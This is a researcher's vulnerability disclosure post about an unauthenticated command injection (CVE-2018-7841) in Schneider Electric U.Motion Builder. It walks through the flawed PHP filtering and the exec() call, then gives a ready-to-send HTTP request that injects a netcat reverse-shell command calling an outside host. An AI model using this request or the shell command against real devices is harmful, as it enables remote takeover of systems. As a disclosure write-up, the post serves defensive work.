I came across an unauthenticated Remote Code Execution vulnerability (called CVE-2018-7841) on an IoT device which was apparently using a component provided by Schneider Electric called U.Motion Builder.

While I’ve found it using my usual BurpSuite foo, I later noticed that there is already a public advisory about a very similar looking issue published by ZDI named Schneider Electric U.Motion Builder track_import_export SQL Injection Remote Code Execution
Vulnerability (ZDI-17-378)
aka CVE-2018-7765).

However, the ZDI advisory does only list a brief summary of the issue:

The specific flaw exists within processing of track_import_export.php, which is exposed on the web service with no
authentication. The underlying SQLite database query is subject to SQL injection on the object_id input parameter when
the export operation is chosen on the applet call. A remote attacker can leverage this vulnerability to execute
arbitrary commands against the database.

So I had a closer look at the source code and stumbled upon a bypass to CVE-2018-7765 which was previously (incompletely)
fixed by Schneider Electric in version 1.3.4
of U.Motion Builder.

As of today the issue is still unfixed and it won’t be fixed at all in the future, since the product has been retired on 12 March 2019 as a result of my report!

The (Incomplete) Fix

U.Motion 1.3.4 contains the vulnerable file /smartdomuspad/modules/reporting/track_importexport.php in which the
application constructs a SQlite query called $where based on the concatenated _objectid, which can be supplied either via GET or POST:

switch ($op) {
    case "export":
[...]
        $where = "";
[...]
        if (strcmp($period, ""))
            $where .= "PERIOD ='" . dpadfunctions::string_encode_for_SQLite(strtoupper($period)) . "' AND ";
        if (!empty($date_from))
            $where .= "TIMESTAMP >= '" . strtotime($date_from . " 0:00:00") . "' AND ";
        if (!empty($date_to))
            $where .= "TIMESTAMP <= '" . strtotime($date_to . " 23:59:59") . "' AND ";
        if (!empty($object_id))
            $where .= "OBJECT_ID='" . dpadfunctions::string_encode_for_SQLite($object_id) . "' AND ";
        $where .= "1 ";
[...]

You can see that _objectid is first parsed by the _string_encode_forSQLite method, which does nothing more than stripping out a few otherwise unreadable characters (see dpadfunctions.class.php):

function string_encode_for_SQLite( $string ) {
        $string = str_replace( chr(1), "", $string );
        $string = str_replace( chr(2), "", $string );
        $string = str_replace( chr(3), "", $string );
        $string = str_replace( chr(4), "", $string );
        $string = str_replace( chr(5), "", $string );
        $string = str_replace( chr(6), "", $string );
        $string = str_replace( chr(7), "", $string );
        $string = str_replace( chr(8), "", $string );
        $string = str_replace( chr(9), "", $string );
        $string = str_replace( chr(10), "[CRLF]", $string );
        $string = str_replace( chr(11), "", $string );
        $string = str_replace( chr(12), "", $string );
        $string = str_replace( chr(13), "", $string );
        $num = str_replace( ",",".", $string );
        if ( is_numeric( $num ) ) {
            $string = $num;
        }
        else {
            $string = str_replace( "'", "''", $string );
            $string = str_replace( ",","[COMMA]", $string );
        }
        return $string;

$query is afterwards used in call to $dbClient->query():

[...]
$query = "SELECT COUNT(ID) AS COUNTER FROM DPADD_TRACK_DATA WHERE $where";
$counter_retrieve_result = $dbClient->query($query,$counter_retrieve_result_id,_DPAD_DB_SOCKETPORT_DOMUSPADTRACK);
[...]

The query() method can be found in _dpaddbclient_NoDbManagersqlite.class.php:

function query( $query, &$result_set_id, $sDB = null ) {
        $this->setDB( $sDB );
        define( "_DPAD_LOCAL_BACKSLASHED_QUOTE", "[QUOTEwithBACKSLASH]" );
        $query = str_replace("\\"", _DPAD_LOCAL_BACKSLASHED_QUOTE, $query);
        $query = str_replace("\"", "\\"", $query);
        $query = str_replace("$", "\$", $query);
        $query = str_replace( _DPAD_LOCAL_BACKSLASHED_QUOTE, "\\\\"", $query);
        $query_array = explode(" ", trim($query) );
        switch ( strtolower( $query_array[0] ) ) {
        case "insert":
            $query = $query . ";" . "SELECT last_insert_rowid();";
            break;
        case "select":
        default:
            break;
        } $result_set_id = null;
        $sqlite_cmd = _DPAD_ABSOLUTE_PATH_SQLITE_EXECUTABLE . " -header -separator '~' " . $this->getDBPath() . " \"" . $query . "\"";
        $result = exec( $sqlite_cmd, $output, $return_var );
[...]

Here you can see that the query string (which contains _objectid) is fed through a bunch of _strreplace calls with the intention to filter out dangerous characters such as $ for Unix command substitutions, and by the end of the snippet, you can actually see that another string _$sqlitecmd is concatenated with the previously build $query string and finally passed to an PHP exec() call.

The Exploit

So apparently Schneider Electric tried to fix the previously reported vulnerability by the following line:

$query = str_replace("$", "\$", $query);

As you might already guess, just filtering out $ is not enough to prevent a command injection into an exec() call. So in order to bypass the _strreplace fix, you could simply use the backtick operator like in the following exemplary request:

POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

op=export&language=english&interval=1&object_id=nc -e /bin/sh www.rcesecurity.com 53

resulting in a nice reverse shell:

A Few Words about the Disclosure Process

I have contacted Schneider Electric for the first time on the 15th November 2018. At this point their vulnerability reporting form wasn’t working at all throwing some errors. So I’ve tried to contact them over twitter (both via a public tweet and via DM) and at the very same time I did also mention that their reporting form does not work at all. Although I haven’t received any response at all, the form was at some point fixed without letting me know . So I’ve sent over all the details of the vulnerability and informed them about my 45-days disclosure policy starting from mind November. From this day the communication with their CERT went quite smoothly and I’ve agreed on extending the disclosure date to 120 days to give them more time to fix the issue. In the end the entire product was retired on 12 March 2019, which is the reason why I have delayed this disclosure by two more months.